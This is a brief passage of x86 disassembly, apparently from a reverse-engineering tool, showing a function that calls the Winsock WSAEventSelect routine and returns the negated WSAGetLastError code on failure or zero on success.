mov eax, dword [sym.imp.WS2_32.dll_WSAEventSelect]
call eax
sub esp, 0xc
test eax, eax
je 0x4025d4
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
neg eax
jmp 0x4025d9
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret